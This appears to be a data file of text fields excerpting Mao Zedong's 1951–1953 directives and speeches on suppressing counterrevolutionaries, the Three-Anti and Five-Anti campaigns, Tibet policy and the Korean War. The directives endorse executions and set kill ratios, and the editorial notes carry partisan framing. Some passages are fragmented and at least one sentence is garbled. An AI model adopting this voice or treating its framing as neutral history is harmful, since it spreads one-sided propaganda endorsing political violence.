这是毛泽东同志为中共中央起草的党内通报。 〔1〕 镇压反革命的工作，分为外层、中层、内层。清理“外层”，是指清查隐藏在社会上的反革命分子；清理“中层”，是指清查隐藏在我军政机关内部的反革命分子；清理“内层”，是指清查隐藏在我党内的反革命分子。 〔2〕 一九五一年整党时，把党员划分为四种人：一、具备党员条件的；二、不完全具备党员条件，或者有较严重的毛病，必须加以改造提高的；三、不够党员条件的消极落后分子；四、混入党内的阶级异己分子、叛变分子、投机分子、蜕化变质分子等。 〔3〕 “搬石头”是刘少奇在一九四八年解放区土改、整党时提出的。他污蔑广大农村干部是压在农民头上的“石头”，要把他们撤职、清洗。"},
    {"text": "镇压反革命必须实行党的群众路线 镇压反革命必须实行 党的群众路线 * （一九五一年五月十五日） （一）目前在全国进行的镇压反革命的运动，是一场伟大的激烈的和复杂的斗争。全国各地已经实行的有效的工作路线，是党的群众路线。这就是：党委领导，全党动员，群众动员，吸收各民主党派及各界人士参加，统一计划，统一行动，严格地审查捕人和杀人的名单，注意各个时期的斗争策略，广泛地进行宣传教育工作（各种代表会、干部会、座谈会、群众会，在会上举行苦主控诉，展览罪证，利用电影、幻灯、戏曲、报纸、小册子和传单作宣传，做到家喻户晓，人人明白），打破关门主义和神秘主义，坚决地反对草率从事的偏向。凡是完全遵照这个路线去做的，就是完全正确的。凡是没有遵照这个路线去做的，就是错误的。凡是大体上遵照了这个路线，但没有完全遵照这个路线去做的，就是大体上正确但不完全正确的。我们认为这个工作路线是继续深入镇压反革命工作和取得完满胜利的保证。在今后镇反工作中必须完全遵守这个工作路线。其中最重要者为严格地审查逮捕和判处死刑名单，和广泛地做好宣传教育。做到了这两点，就可以避免犯错误。 （二）关于杀反革命的数字，必须控制在一定比例以内。这里的原则是:对于有血债或其他最严重的罪行非杀不足以平民愤者和最严重地损害国家利益者，必须坚决地判处死刑，并迅即执行。对于没有血债、民愤不大和虽然严重地损害国家利益但尚未达到最严重的程度，而又罪该处死者，应当采取判处死刑、缓期二年执行、强迫劳动、以观后效的政策。此外还应明确地规定:凡介在可捕可不捕之间的人一定不要捕，如果捕了就是犯错误；凡介在可杀可不杀之间的人一定不要杀，如果杀了就是犯错误。 （三）为了防止在镇压反革命运动的高潮中发生“左”的偏向，决定从六月一日起，全国一切地方，包括那些至今仍然杀人甚少的地方在内，将捕人批准权一律收回到地委专署一级，将杀人批准权一律收回到省一级，离省远者由省级派代表前往处理。任何地方不得要求改变此项决定。 （四）对于“中层”和“内层”的反革命分子，必须从现在开始，有计划地加以清查。决定遵照中央指示在今年夏秋两季，采用整风方式，对留用人员和新吸收的知识分子普遍地初步地清查一次。其目的是弄清情况和处理一些最突出的问题。其方法是学习镇反文件，向着留用人员和新吸收的知识分子，号召他们中间有问题的人（不是一切人）用真诚老实的态度，交清历史，坦白其隐藏的问题。这种坦白运动必须由首长负责主持，采取自愿原则，不得施行强迫。每一单位时间要短，不要拖长。其策略是争取多数，孤立少数，以待冬季的进一步清查。对于首脑机关、公安机关及其他要害部门，则须首先加以清查，并取得经验，以资推广。在政府系统、学校和工厂中进行此种清查工作时，必须有党外人士参加此种清查工作的委员会，避免由共产党员孤立地去做。 （五）全国各地，必须在此次镇压反革命的伟大斗争中普遍地组织群众的治安保卫委员会。此项委员会，农村以乡为单位，城市以机关、学校、工厂、街道为单位，经过人民选举组织之。委员人数少者三人，多者十一人，必须吸收可靠的党外爱国分子参加，成为统一战线的保卫治安的组织。此项委员会受基层政府和公安机关的领导，担负协助人民政府肃清反革命，防奸、防谍，保卫国家和公众治安的责任。此项委员会，乡村须在土改完成之后，城市须在镇反工作开展之后，有领导地进行组织，以免坏人乘机侵入。 注 释 * 这是毛泽东同志修改第三次全国公安会议决议时写的几段指示。"},
    {"text": "镇压反革命必须打得稳，打得准，打得狠 镇压反革命必须 打得稳，打得准，打得狠 * （一九五O年十二月——一九五一年九月） 一 对镇压反革命分子，请注意打得稳，打得准，打得狠。 （一九五〇年十二月十九日） 二 在湘西二十一个县中杀了一批匪首、恶霸、特务，准备在今年由地方再杀一批。我以为这个处置是很必要的。只有如此，才能使敌焰下降，民气大伸。如果我们优柔寡断，姑息养奸，则将遗祸人民，脱离群众。 所谓打得稳，就是要注意策略。打得准，就是不要杀错。打得狠，就是要坚决地杀掉一切应杀的反动分子（不应杀者，当然不杀）。只要我们不杀错，资产阶级虽有叫唤，也就不怕他们叫唤。 （一九五一年一月十七日） 三 山东有些地方存在着劲头不足的偏向，有些地方存在着草率从事的偏向，这是全国各省市大体上都存在的两种偏向，都应注意纠正。特别是草率从事的偏向，危险最大。因为劲头不足，经过教育说服，劲头总会足起来的，反革命早几天杀，迟几天杀，关系并不甚大。惟独草率从事，错捕错杀了人，则影响很坏。请你们对镇反工作，实行严格控制，务必谨慎从事，务必纠正一切草率从事的偏向。我们一定要镇压一切反革命，但是一定不可捕错杀错。 （一九五一年三月三十日） 四 中央已决定，在共产党内，在人民解放军内，在人民政府系统内，在教育界，在工商界，在宗教界，在各民主党派和各人民团体内清出的反革命分子，除罪不至死应判有期或无期徒刑、或予管制监视者外，凡应杀分子，只杀有血债者，有引起群众愤恨的其他重大罪行例如强奸许多妇女、掠夺许多财产者，以及最严重地损害国家利益者；其余，一律采取判处死刑，缓期二年执行，在缓刑期内强制劳动，以观后效的政策。这个政策是一个慎重的政策，可以避免犯错误。这个政策可以获得广大社会人士的同情。这个政策可以分化反革命势力，利于彻底消灭反革命。这个政策又保存了大批的劳动力，利于国家的建设事业。因此，这是一个正确的政策。估计在上述党、政、军、教、经、团各界清出来的应杀的反革命分子中，有血债或有其他引起群众愤恨的罪行或最严重地损害国家利益的人只占极少数，大约不过十分之一二，而判处死刑缓期执行的人可能占十分之八九，即可保全十分之八九的死罪分子不杀。他们和农村中的匪首、惯匪、恶霸不同，也和城市的恶霸、匪首、惯匪、大流氓头及会道门大首领不同，也和某些最严重地损害国家利益的特务不同，即没有引起群众痛恨的血债或其他重大罪行。他们损害国家利益的程度是严重的但还不是最严重的。他们犯有死罪，但群众未直接受害。如果我们把这些人杀了，群众是不容易了解的，社会人士是不会十分同情的，又损失了大批的劳动力，又不能起分化敌人的作用，而且我们可能在这个问题上犯错误。因此，中央决定对于这样的一些人，采取判处死刑，缓期执行，强制劳动，以观后效的政策。如果这些人中有若干人不能改造，继续为恶，将来仍可以杀，主动权操在我们手里。各地党、政、军、教、经、团中清出来的反革命分子，请各地均照上述原则处理。其应执行死刑的极少数人（大约占死罪分子的十分之一二），为慎重起见，一律要报请大行政区或大军区批准。有关统一战线的重要分子，须报请中央批准。此外，对于农村中的反革命，亦只杀那些非杀不能平民愤者，凡人民不要杀的人一律不要杀。其中有些人亦应采取判死缓刑的政策。人民要求杀的人则必须杀掉，以平民愤而利生产。 （一九五一年五月八日） 五 “缓期二年执行”的政策，决不应解释为对于负有血债或有其他重大罪行人民要求处死的罪犯而不处死，如果这样做，那就是错误的。我们必须向区村干部和人民群众解释清楚，对于罪大恶极民愤甚深非杀不足以平民愤者必须处死，以平民愤。只对那些民愤不深，人民并不要求处死，但又犯有死罪者，方可判处死刑，缓期二年执行，强迫劳动，以观后效。 （一九五一年六月十五日） 六 整个镇压反革命的工作必须在各级党委的统一领导之下，一切公安机关和有关镇压反革命的机关的负责同志都必须和过去一样坚决接受党委的领导。 （一九五一年九月十日） 注 释 * 这是毛泽东同志为中共中央起草的关于镇压反革命运动的一些重要指示。"},
    {"text": "应当重视电影《武训传》的讨论 应当重视电影《武训传》的讨论 * （一九五一年五月二十日） 《武训传》所提出的问题带有根本的性质。像武训那样的人，处在清朝末年中国人民反对外国侵略者和反对国内的反动封建统治者的伟大斗争的时代，根本不去触动封建经济基础及其上层建筑的一根毫毛，反而狂热地宣传封建文化，并为了取得自己所没有的宣传封建文化的地位，就对反动的封建统治者竭尽奴颜婢膝的能事，这种丑恶的行为，难道是我们所应当歌颂的吗？向着人民群众歌颂这种丑恶的行为，甚至打出“为人民服务”的革命旗号来歌颂，甚至用革命的农民斗争的失败作为反衬来歌颂，这难道是我们所能够容忍的吗？承认或者容忍这种歌颂，就是承认或者容忍污蔑农民革命斗争，污蔑中国历史，污蔑中国民族的反动宣传，就是把反动宣传认为正当的宣传。 电影《武训传》的出现，特别是对于武训和电影《武训传》的歌颂竟至如此之多，说明了我国文化界的思想混乱达到了何等的程度! 在许多作者看来，历史的发展不是以新事物代替旧事物，而是以种种努力去保持旧事物使它得免于死亡；不是以阶级斗争去推翻应当推翻的反动的封建统治者，而是像武训那样否定被压迫人民的阶级斗争，向反动的封建统治者投降。我们的作者们不去研究过去历史中压迫中国人民的敌人是些什么人，向这些敌人投降并为他们服务的人是否有值得称赞的地方。我们的作者们也不去研究自从一八四〇年鸦片战争以来的一百多年中，中国发生了一些什么向着旧的社会经济形态及其上层建筑（政治、文化等等）作斗争的新的社会经济形态，新的阶级力量，新的人物和新的思想，而去决定什么东西是应当称赞或歌颂的，什么东西是不应当称赞或歌颂的，什么东西是应当反对的。 特别值得注意的，是一些号称学得了马克思主义的共产党员。他们学得了社会发展史——历史唯物论，但是一遇到具体的历史事件，具体的历史人物（如像武训），具体的反历史的思想（如像电影《武训传》及其他关于武训的著作），就丧失了批判的能力，有些人则竟至向这种反动思想投降。资产阶级的反动思想侵入了战斗的共产党，这难道不是事实吗？一些共产党员自称已经学得的马克思主义，究竟跑到什么地方去了呢？ 为了上述种种缘故，应当展开关于电影《武训传》及其他有关武训的著作和论文的讨论，求得彻底地澄清在这个问题上的混乱思想。 注 释 * 这是毛泽东同志为《人民日报》写的社论的节录。"},
    {"text": "三大运动的伟大胜利 三大运动的伟大胜利 * （一九五一年十月二十三日） 各位委员、各位同志们： 我们的人民政治协商会议第一届全国委员会第三次会议，现在开会了。"},
    {"text": "在这次会议上，除了全国委员会的委员之外，应邀列席的尚有中国人民志愿军、人民解放军、工业劳动模范、农业劳动模范、老根据地代表、教育工作者、文艺工作者、工商业家、各种专家、宗教界、少数民族、华侨、妇女、青年、省市协商委员会及其他方面的代表人物，尚有许多政府工作人员。 出席和列席人员中包括了许多为人民所公认的战斗英雄、劳动模范和模范工作者。"},
    {"text": "中国人民志愿军代表着中国人民的伟大意志，与朝鲜人民军一道，打破了美帝国主义企图侵占朝鲜民主主义人民共和国并进而侵入中国大陆的狂妄计划，从而鼓舞了朝鲜、中国、亚洲和全世界爱好和平的人民，使他们增加了保卫和平、反对侵略的信心。"},
    {"text": "在农村中实现土地改革和在工厂企业中实现民主改革之后，工人和农民即获得发展其爱国增产的极大积极性、并改善其物质生活和文化生活的可能。"},
    {"text": "在我国的文化教育战线和各种知识分子中，根据中央人民政府的方针，广泛地开展了一个自我教育和自我改造的运动，这同样是我国值得庆贺的新气象。"},
    {"text": "但是既然美国侵略者已经向我们进攻了，我们就不能不举起反侵略的旗帜，这是完全必要的和完全正义的，全国人民都已明白这种必要性和正义性。"},
    {"text": "只要美国政府愿意在公平合理的基础上解决问题，不再如过去那样用种种可耻的方法破坏和阻挠谈判的进行，则朝鲜的停战谈判是可能成功的，否则就不可能成功。"},
    {"text": "在国内，我们是依靠了各民族、各民主阶级、各民主党派、各人民团体以及一切爱国民主人士在工人阶级和共产党领导之下的巩固团结。 在国际范围内，我们是依靠了以苏联为首的和平民主阵营的巩固团结以及世界各国爱好和平的人民的深厚同情。"},
    {"text": "由于这样，我们就获得了各方面工作的伟大胜利，这是我们的敌人所没有料到自己的困难，没有可能反击侵略者。 出于敌人的意料之外，我们居然能够克服自己的困难，居然能够反击侵略者，并获得伟大的胜利。"},
    {"text": "我们的敌人眼光短浅，他们看不到我们这种国内国际伟大团结的力量，他们看不到由外国帝国主义欺负中国人民的时代，已由中华人民共和国的成立而永远宣告结束了。 他们也看不到帝国主义称霸世界的时代，已由社会主义苏联的成立，已由中华人民共和国的成立，已由各人民民主国家的成立，已由中苏两个伟大国家在友好互助同盟条约基础上的巩固团结，已由整个和平民主阵营的巩固团结以及世界各国广大和平人民对于这个伟大阵营的深厚同情，而永远宣告结束了。"},
    {"text": "同志们，自从伟大的苏联十月社会主义革命胜利以后，世界上人民胜利的局面就确定了，现在则因为中华人民共和国的成立和各人民民主国家的成立而使这个局面发展和巩固了。"},
    {"text": "不错，在第一次世界大战和俄国十月革命以后的历史时期中，曾经发生过德国、意大利和日本三个帝国主义国家企图称霸世界的事实，这种事实还是发生在中华人民共和国和许多人民民主国家没有成立的时候，但是结果如何呢？"},
    {"text": "现在的局面完全不同了，伟大的中华人民共和国成立了，许多人民民主国家成立了，世界人民的觉悟程度提高了，整个亚洲和北部非洲的民族解放斗争蓬蓬勃勃地起来了，整个帝国主义体系的力量极大地削弱了，还有一个极其重要的事实是我们最亲密的盟国苏联的力量大大地增强了。"},
    {"text": "我希望我国人民好好地自己团结一致，并好好地和我们的苏联盟友团结一致，好好地和一切人民民主国家团结一致，好好地和世界上一切同情我们的民族和人民团结一致，向着争取反侵略斗争的胜利、向着建设我们伟大国家的胜利、向着保卫世界持久和平的胜利而继续前进。"},
    {"text": "关于“三反”“五反”的斗争 关于“三反”“五反”的斗争 * （一九五一年十一月——一九五二年三月） 一 反贪污、反浪费一事，实是全党一件大事，我们已告诉你们严重地注意此事。 我们认为需要来一次全党的大清理，彻底揭露一切大、中、小贪污事件，而着重打击大贪污犯，对中小贪污犯则取教育改造不使重犯的方针，才能停止很多党员被资产阶级所腐蚀的极大危险现象，才能克服二中全会所早已料到的这种情况，并实现二中全会防止腐蚀的方针，务请你们加以注意。 （一九五一年十一月三十日） 二 必须严重地注意干部被资产阶级腐蚀发生严重贪污行为这一事实，注意发现、揭露和惩处，并须当作一场大斗争来处理。 （一九五一年十一月三十日） 三 应把反贪污、反浪费、反官僚主义的斗争看作如同镇压反革命的斗争一样的重要，一样的发动广大群众包括民主党派及社会各界人士去进行，一样的大张旗鼓去进行，一样的首长负责，亲自动手，号召坦白和检举，轻者批评教育，重者撤职、惩办、判处徒刑（劳动改造），直至枪毙一批最严重的贪污犯，才能解决问题。 （一九五一年十二月八日） 四 在全国一切城市，首先在大城市和中等城市中，依靠工人阶级，团结守法的资产阶级及其他市民，向着违法的资产阶级开展一个大规模的坚决的彻底的反对行贿、反对偷税漏税、反对盗骗国家财产、反对偷工减料和反对盗窃经济情报的斗争，以配合党政军民内部的反对贪污、反对浪费、反对官僚主义的斗争，现在是极为必要和极为适时的。 在这个斗争中，各城市的党组织对于阶级和群众的力量必须作精密的部署，必须注意利用矛盾、实行分化、团结多数、孤立少数的策略，在斗争中迅速形成“五反”的统一战线。"},
    {"text": "只要形成了这个统一战线，那些罪大恶极的反动资本家就会陷于孤立，国家就能很有理由地和顺利地给他们以各种必要的惩处，例如逮捕、徒刑、枪决、没收、罚款等等。"},
    {"text": "各大城市可以暂时不去处理摊贩，但对独立手工业户和家庭商业户最好给以处理。 各中等城市在“五反”中最好对独立工商户及摊贩均给以处理。"},
    {"text": "不雇工人、店员（但有些人家带了学徒）的独立工商户在我国各大中城市数目很大，他们中许多是守法的，也有许多是基本守法部分违法的（即有小额偷漏税，即所谓有小问题的），也有少数是属于半守法半违法即偷漏税较大的。"},
    {"text": "我们既要在此次“五反”中处理一大批小资本家，给他们做出结论，也应尽可能努力将和小资本家数目大略相等的独立工商户加以处理，给他们做出结论，这对于目前的“五反”和今后的经济建设都是有利的。"},
    {"text": "在北京五万工商户（包括独立工商户，不包括摊贩）中，守法户约占百分之十左右，基本守法户约占百分之六十左右，半守法半违法户约占百分之二十五左右，严重违法户约占百分之四左右，完全违法户约占百分之一左右。"},
    {"text": "五、各大中城市中，有些市委，对于各类工商户的情况极不明了，如何分别对待这些工商户的策略观点又不明确，工会和政府工作队（或检查组）的组织和训练甚为潦草，便仓卒发动“五反”，引起了一些混乱，望这些市委提起注意，迅速加以克服。"},
    {"text": "又无论“三反”、“五反”，均不得采用肉刑逼供方法，严防自杀现象发生，已发生者立即订出防止办法，务使“三反”、“五反”均按正轨健全发展，争取完满胜利。 六、县、区、乡现在一律不进行“三反”、“五反”，将来何时进行及如何进行，中央另有通知。 个别已在县城试做“五反”、在区试做“三反”者务须严格控制，不得妨碍春耕和经济活动。 中等城市也不要同时一律进行“五反”，而要分批进行，并须在严格控制下进行。"},
    {"text": "（一九五二年三月五日） 六 在此次“五反”斗争中及其以后，我们必须达到下述目的: （一）彻底查明私人工商业的情况，以利团结和控制资产阶级，进行国家的计划经济。"},
    {"text": "（三）改组同业公会和工商联合会，开除那些“五毒” 〔1〕 俱全的人们及其他业已完全丧失威信的人们出这些团体的领导机关，吸引那些在“五反”中表现较好的人们进来。"},
    {"text": "（四）帮助民主建国会的负责人整顿民主建国会，开除那些“五毒”俱全的人及大失人望的人，增加一批较好的人，使之成为一个能够代表资产阶级主要是工业资产阶级的合法利益，并以共同纲领和“五反”的原则教育资产阶级的政治团体。"},
    {"text": "把农业互助合作当作一件大事去做 把农业互助合作 当作一件大事去做 * （一九五一年十二月十五日） 兹将关于农业生产互助合作的决议草案一件发给你们，请印发到县委和区委。请即照此草案在党内外进行解释，并组织实行。这是在一切已经完成了土地改革的地区都要解释和实行的，请你们当作一件大事去做。这个决议草案可以在党内刊物上发表，但不要在党外报刊上发表，因为还是草案。 注 释 * 这是毛泽东同志为批驳刘少奇反对农业合作化而起草的具有重大历史意义的党内通知。一九五一年七月，刘少奇背着毛泽东同志和党中央，以个人名义写了一个批语，肆意指责山西省关于发展农业生产互助合作的报告，并发给各地。刘少奇在批语中，反对毛泽东同志关于农业社会主义改造的路线，把它污蔑为“错误的、危险的、空想的农业社会主义思想”。同年九月，毛泽东同志亲自主持制定了《中共中央关于农业生产互助合作的决议（草案）》，并在十二月十五日，为印发决议草案写了这个通知，指示全党把农业互助合作当作一件大事去做。 元旦祝词 元旦祝词 （一九五二年一月一日） 祝我们全体——人民政府的工作人员，人民志愿军和人民解放军的指挥员、战斗员，各民主党派，各人民团体，各少数民族和全国人民，在各个工作战线上的胜利! 祝我们在抗美援朝战线上的胜利! 祝我们在国防战线上的胜利! 祝我们在土地改革战线上的胜利! 祝我们在镇压反革命战线上的胜利! 祝我们在经济和财政战线上的胜利! 祝我们在文化和教育战线上的胜利! 祝我们在社会各界首先是知识分子的思想改造战线上的胜利! 我还要祝我们在新开辟的一条战线上的胜利，这就是号召我国全体人民和一切工作人员一致起来，大张旗鼓地，雷厉风行地，开展一个大规模的反对贪污、反对浪费、反对官僚主义的斗争，将这些旧社会遗留下来的污毒洗干净! 同志们，我们在上述一切战线上，在一九五一年，都已取得了胜利，有许多是极其伟大的胜利。我们希望，经过我们的共同努力，所有这些工作，在一九五二年能够取得更大的胜利。 中华人民共和国万岁!"},
    {"text": "中共中央关于西藏工作方针的指示 中共中央 关于西藏工作方针的指示 * （一九五二年四月六日） 我们基本上同意西南局、西南军区四月二日给西藏工委和西藏军区的指示电，认为这个电报所取的基本方针（除了改编藏军一点外）及许多具体步骤是正确的。只有照此做去，才能使我军在西藏立于不败之地。 西藏情况和新疆不同，无论在政治上经济上西藏均比新疆差得多。我王震部入疆，尚且首先用全力注意精打细算，自力更生，生产自给。现在他们已站稳脚跟，取得少数民族热烈拥护。目前正进行减租减息，今冬进行土改，群众将更拥护我们。新疆和关内汽车畅达，和苏联有密切经济联系，在物质福利上给了少数民族很大好处。西藏至少在两三年内不能实行减租，不能实行土改。新疆有几十万汉人，西藏几乎全无汉人，我军是处在一个完全不同的民族区域。我们惟靠两条基本政策，争取群众，使自己立于不败。第一条是精打细算，生产自给，并以此影响群众，这是最基本的环节。公路即使修通，也不能靠此大量运粮。印度可能答应交换粮物入藏，但我们的立脚点，应放在将来有一天万一印度不给粮物我军也能活下去。我们要用一切努力和适当办法，争取达赖及其上层集团的大多数，孤立少数坏分子，达到不流血地在多年内逐步地改革西藏经济、政治的目的；但也要准备对付坏分子可能率领藏军举行叛变，向我袭击，在这种时候我军仍能在西藏活下去和坚持下去。凡此均须依靠精打细算，生产自给。以这一条最基本的政策为基础，才能达到目的。第二条可做和必须做的，是同印度和内地打通贸易关系，使西藏出入口趋于平衡，不因我军入藏而使藏民生活水平稍有下降，并争取使他们在生活上有所改善。只要我们对生产和贸易两个问题不能解决，我们就失去存在的物质基础，坏分子就每天握有资本去煽动落后群众和藏军反对我们，我们团结多数、孤立少数的政策就将软弱无力，无法实现。 西南局四月二日电报的全部意见中，只有一点值得考虑，这就是短期内改编藏军和成立军政委员会是否可能和得策的问题。我们意见，目前不要改编藏军，也不要在形式上成立军分区，也不要成立军政委员会。暂时一切仍旧，拖下去，以待一年或两年后我军确能生产自给并获得群众拥护的时候，再谈这些问题。在这一年至两年内可能发生两种情况:一种是我们团结多数、孤立少数的上层统战政策发生了效力，西藏群众也逐步靠拢我们，因而使坏分子及藏军不敢举行暴乱；一种是坏分子认为我们软弱可欺，率领藏军举行暴乱，我军在自卫斗争中举行反攻，给以打击。以上两种情况，无论哪一种都对我们有利。在西藏上层集团看来，目前全部实行协定和改编藏军，理由是不充足的。过几年则不同，他们可能会觉得只好全部实行协定和只好改编藏军。如果藏军举行暴乱，或者他们不是举行一次，而是举行几次，又均被我军反击下去，则我们改编藏军的理由就愈多。看来不但是两司伦 〔1〕 ，而且还有达赖及其集团的多数，都觉得协定是勉强接受的，不愿意实行。我们在目前不仅没有全部实行协定的物质基础，也没有全部实行协定的群众基础，也没有全部实行协定的上层基础，勉强实行，害多利少。他们既不愿意实行，那末好吧，目前就不实行，拖一下再说。时间拖得愈久，我们的理由就愈多，他们的理由就愈少。拖下去，对我们的害处并不大，或者反而有利些。各种残民害理的坏事让他们去做，我们则只做生产、贸易、修路、医药、统战（团结多数，耐心教育）等好事，以争取群众，等候时机成熟，再谈全部实行协定的问题。如果他们觉得小学不宜办，则小学也可以收场不办。 最近拉萨的示威不应看作只是两司伦等坏人做的，而应看作是达赖集团的大多数向我们所作的表示。其请愿书内容很有策略，并不表示决裂，而只要求我们让步。其中暗示恢复前清办法不驻解放军一条，不是他们的真意。他们明知这是办不到的，他们是企图用这一条交换其他各条。在请愿书内批评了十四辈达赖，使达赖在政治上不负此次示威的责任。他们以保护西藏民族利益的面目出现，他们知道在军事力量方面弱于我们，但在社会势力方面则强于我们。我们应当在事实上（不是在形式上）接受这次请愿，而把协定的全部实行延缓下去。他们选择在班禅尚未到达的时机举行这次示威，是经过考虑的。班禅到拉萨后，他们可能要大拉一把，使班禅加入他们的集团。如果我们的工作做得好，班禅不上他们的当，并安全到了日喀则，那时形势会变得较为有利于我们。但我们缺乏物质基础这一点一时还不能变化，社会势力方面他们强于我们这一点一时也不会变化，因而达赖集团不愿意全部实行协定这一点一时也不会变化。我们目前在形式上要采取攻势，责备此次示威和请愿的无理（破坏协定），但在实际上要准备让步，等候条件成熟，准备将来的进攻（即实行协定）。 你们对此意见如何，望考虑电告。 注 释 * 这是毛泽东同志为中共中央起草的给西南局、西藏工委并告西北局、新疆分局的党内指示。 〔1〕 “司伦”是达赖下面最高的行政官。当时的两司伦是反动农奴主鲁康娃和罗桑札喜。"},
    {"text": "工人阶级与资产阶级的矛盾是国内的主要矛盾 工人阶级与资产阶级的矛盾 是国内的主要矛盾 * （一九五二年六月六日） 在打倒地主阶级和官僚资产阶级以后，中国内部的主要矛盾即是工人阶级与民族资产阶级的矛盾，故不应再将民族资产阶级称为中间阶级。 注 释 * 这是毛泽东在中共中央统一战线工作部起草的一个文件上的批语。毛泽东同志批判了这个部的负责人把民族资产阶级看作是中间阶级的错误观点。 团结起来，划清敌我界限 团结起来，划清敌我界限 * （一九五二年八月四日） 去年这一年，我们是边打，边谈，边稳。 朝鲜战争的局势，去年七月以后定下来了，但是国内的财政经济状况，能不能稳下来，那时还没有把握。过去只是讲“物价基本稳定，收支接近平衡”，意思是说，物价还不能稳定，收支还没有平衡。收入少，支出多，这是个问题。因此，中共中央在去年九月开了一次会，提出增加生产，厉行节约。十月，我又在政协第一届全国委员会第三次会议上，提出增产节约。在增产节约运动中，揭发出相当严重的贪污、浪费、官僚主义的问题，到十二月开展了“三反”运动，接着又开展了“五反”运动。现在“三反”“五反”运动胜利结束，问题完全清楚了，天下大定。 去年抗美援朝战争的费用，和国内建设的费用大体相等，一半一半。今年不同，战争费用估计只要用去年的一半。现在我们的部队减少了，但是装备加强了。我们过去打了二十几年仗，从来没有空军，只有人家炸我们。现在空军也有了，高射炮、大炮、坦克都有了。抗美援朝战争是个大学校，我们在那里实行大演习，这个演习比办军事学校好。如果明年再打一年，全部陆军都可以轮流去训练一回。 这次战争，我付本来存在三个问题：一、能不能打；二、能不能守；三、有没有东西吃。 能不能打，这个问题两三个月就解决了。敌人大炮比我们多，但士气低，是铁多气少。 能不能守，这个问题去年也解决了。办法是钻洞子。我们挖两层工事，敌人攻上来，我们就进地道。有时敌人占领了上面，但下面还是属于我们的。等敌人进入阵地，我们就反攻，给他极大的杀伤。我们就是用这种土办法拉洋炮。敌人对我们很没有办法。 吃的问题，也就是保证给养的问题，很久不能解决。当时就不晓得挖洞子，把粮食放在洞子里。现在晓得了。每个师都有三个月粮食，都有仓库，还有礼堂，生活很好。 现在是方针明确，阵地巩固，供给有保证，每个战士都懂得要坚持到底。 究竟打到那一年为止，谈判到什么时候？我说，谈还是要谈，打还是要打，和还是要和。 为什么和还是要和呢？三十年战争、百年战争是不会有的，因为长期打下去对美国很不利。 一、要死人。他们为扣留一万多个俘虏奋斗，就死掉了三万多人。他们的人总比我们少得多。 二、要用钱。他们一年要用一百多亿美元。我们用的钱比他们少得多，今年比去年又减少一半。“三反”“五反”清理出来的钱，可以打一年半。增产节约出来的钱，就可以完全用在国内建设上。 三、他们国际国内都有难以克服的矛盾。 四、还有一个战略问题。美国的战略重点是欧洲。他们出兵侵略朝鲜，没有料到我们出兵援助朝鲜。 我们的事情比较好办。国内的事我们可以完全作主。但是，我们不是美国的参谋长，美国的参谋长是他们自己的人。所以，朝鲜战争是否打下去，我们和朝鲜一方只能作一半主。 总之，对美国来说，大势所趋，不和不利。 说马上要打第三次世界大战，是吓唬人的。我们要争取十年工夫建设工业，打下强固的基础。 大家要好好团结起来，划清敌我界限。今天我们之所以有力量，是因为全国人民的团结，我们在座的人的合作，各民主党派、各人民团体的合作。团结和划清敌我界限是非常重要的。孙中山先生是个好人，但他领导的辛亥革命为什么失败了？其原因：一、没有分土地；二、不晓得镇压反革命；三、反帝不尖锐。除了划清敌我界限之外，在内部还有个是非界限。两者相比，是非界限是第二种界限。比如贪污分子大多数还是个是非问题，还是可以改造的，他们与反革命不同。 各民主党派和宗教界要进行教育，不要上帝国主义的当，不要站在敌人方面。拿佛教来说，它同帝国主义联系较少，基本上是和封建主义联系着。因为土地问题，反封建就反到了和尚，受打击的是住持、长老之类。这少数人打倒了，“鲁智深”解放了。我不信佛教，但也不反对组织佛教联合会，联合起来划清敌我界限。统一战线是否到了有一天要取消？我是不主张取消的。对任何人，只要他真正划清敌我界限，为人民服务，我们都是要团结的。 我们国家有前途，有希望。过去我们想，国民经济是否三年可以恢复。经过两年半的奋斗，现在国民经济已经恢复，而且已经开始有计划的建设了。大家要团结起来，划清敌我界限，使我们的国家稳步前进。 注 释 * 这是毛泽东同志在中国人民政治协商会议第一届全国委员会常务委员会第三十八次会议上讲话的要点。"},
    {"text": "祝贺中国人民志愿军的重大胜利 祝贺中国人民志愿军的 重大胜利 * （一九五二年十月二十四日） 我志愿军协同人民军从九月十八日开始对全线敌军的战术性的反击作战，在一个月内，歼灭和击伤敌军三万人以上，获得重大胜利，中央和军委向你们及全体指挥员、战斗员同志致以热烈的祝贺。此种作战，在若干个被选定的战术要点上，集中我军优势的兵力、火力，采取突然动作，对成排成连成营的敌军，给以全部或大部歼灭的打击；然后在敌人向我军举行反击的时机，又在反复作战中给敌以大量的杀伤；然后依情况，对于被我攻克的据点，凡可以守住者固守之，不能守住者放弃之，保持自己的主动，准备以后的反击。此种作战方法，继续实行下去，必能制敌死命，必能迫使敌人采取妥协办法结束朝鲜战争。自从去年七月我军采取坚强的阵地作战以来，给予敌军损失的数量，远远地超过去年七月以前在各次运动战中给予敌军的损失数量。而我军的损失则大为减少，其中人员损失，单就志愿军来说，从去年七月以来的十五个月中，比较以前的八个月，平均每月减少三分之二以上。这种情况，就是依靠阵地实行上述作战方法的结果。而在九月十八日开始的这一段期间内，则此种作战方法表现为更有组织性和更带全线性，所以特别值得重视。 现当志愿军出国作战两周年之际，希望你们总结经验，更加提高组织性，提高战术和节省弹药，更加亲密地团结朝鲜同志和朝鲜人民，在今后的作战中取得更大的胜利。 注 释 * 这是毛泽东同志为中共中央和中央军委起草的给中国人民志愿军负责人的指示。 反对官僚主义、命令主义和违法乱纪 反对官僚主义、 命令主义和违法乱纪 * （一九五三年一月五日） 反对官僚主义、反对命令主义、反对违法乱纪这件事，应当唤起我们各级领导机关的注意。 我党在“三反”中基本上解决了中央、大行政区、省市和专区四级许多工作人员中的贪污和浪费两个问题，也基本上解决了许多领导者和被领导的机关人员相脱离的这一部分官僚主义的问题；但对于不了解人民群众的痛苦，不了解离开自己工作机关稍为远一点的下情，不了解县、区、乡三级干部中存在着许多命令主义和违法乱纪的坏人坏事，或者虽然对于这些坏人坏事有一些了解，但是熟视无睹，不引起义愤，不感觉问题的严重，因而不采取积极办法去支持好人，惩治坏人，发扬好事，消灭坏事，这样一方面的官僚主义，则在许多地区、许多方面和许多部门，还是基本上没有解决。即如处理人民来信一事，据报有的省人民政府就积压了七万多件没有处理，省以下各级党政组织积压了多少人民来信，则我们还不知道，可以想象是不少的。这些人民来信大都是有问题要求我们给他们解决的，其中许多是控告干部无法无天的罪行而应当迅速处理的。 